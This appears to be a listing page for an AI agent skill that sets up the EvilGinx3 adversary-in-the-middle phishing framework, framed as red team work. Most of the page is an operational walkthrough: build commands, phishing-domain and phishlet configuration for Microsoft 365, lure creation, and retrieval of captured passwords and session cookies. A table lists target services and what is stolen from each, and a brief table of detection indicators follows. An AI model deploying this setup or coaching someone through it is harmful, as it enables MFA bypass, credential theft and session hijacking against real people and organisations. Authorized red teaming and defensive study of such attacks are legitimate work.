npx claudepluginhub plurigrid/asi --plugin asiThis skill uses the workspace's default tool permissions.
EvilGinx3 is a man-in-the-middle attack framework used for phishing login credentials along with session cookies, enabling bypass of multi-factor authentication (MFA). Unlike traditional credential phishing that only captures usernames and passwords, EvilGinx3 operates as a transparent reverse proxy between the victim and the legitimate authentication service, intercepting the full authenticati...
Deploys EvilGinx3 for red team phishing to capture session cookies, bypass MFA, and hijack sessions via adversary-in-the-middle attacks.
Deploys EvilGinx3 for authorized red team initial access via AiTM phishing, capturing session tokens and cookies to bypass MFA and hijack sessions.
Detects and responds to Adversary-in-the-Middle (AiTM) phishing attacks using reverse proxy kits like EvilProxy, Evilginx, Tycoon 2FA to bypass MFA and steal session tokens. Useful for security assessments, incident response, and auditing.
Share bugs, ideas, or general feedback.
EvilGinx3 is a man-in-the-middle attack framework used for phishing login credentials along with session cookies, enabling bypass of multi-factor authentication (MFA). Unlike traditional credential phishing that only captures usernames and passwords, EvilGinx3 operates as a transparent reverse proxy between the victim and the legitimate authentication service, intercepting the full authentication flow including MFA tokens and session cookies. This makes it the primary tool for red teams demonstrating the risk of adversary-in-the-middle (AiTM) attacks against organizations relying solely on MFA for protection.
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
make
sudo ./bin/evilginx -p ./phishlets
config domain example-phish.com
config ipv4 <server-ip>
phishlets hostname o365 login.example-phish.com
phishlets enable o365
phishlets
lures create o365
lures get-url 0
lures edit 0 redirect_url https://legitimate-site.com
# Integration with EvilGoPhish for combined campaigns
# Provides GoPhish email tracking + EvilGinx3 credential capture
sessions
sessions <session-id>
# Session output includes:
# - Username and password
# - Session cookies (authentication tokens)
# - Custom captured parameters
| Tool | Purpose | Platform |
|---|---|---|
| EvilGinx3 | AiTM phishing framework | Linux |
| GoPhish | Phishing campaign management | Cross-platform |
| EvilGoPhish | Combined EvilGinx3 + GoPhish integration | Linux |
| Cookie-Editor | Browser cookie import/export | Browser Extension |
| Modlishka | Alternative AiTM proxy framework | Linux |
| Muraena | Alternative AiTM phishing proxy | Linux |
| Target Service | Phishlet | Captured Data |
|---|---|---|
| Microsoft 365 | o365 | Session cookies, credentials |
| Google Workspace | Session cookies, credentials | |
| Okta | okta | Session tokens, credentials |
| GitHub | github | Session cookies, credentials |
| AWS Console | aws | Session tokens, credentials |
| Indicator | Detection Method |
|---|---|
| Newly registered lookalike domains | Domain monitoring and certificate transparency logs |
| SSL certificates for suspicious domains | CT log monitoring (crt.sh, Censys) |
| Unusual login locations after phishing | SIEM correlation of authentication events |
| Session cookie replay from different IP | Conditional access policy alerts |
| AiTM proxy headers in traffic | Network inspection for proxy artifacts |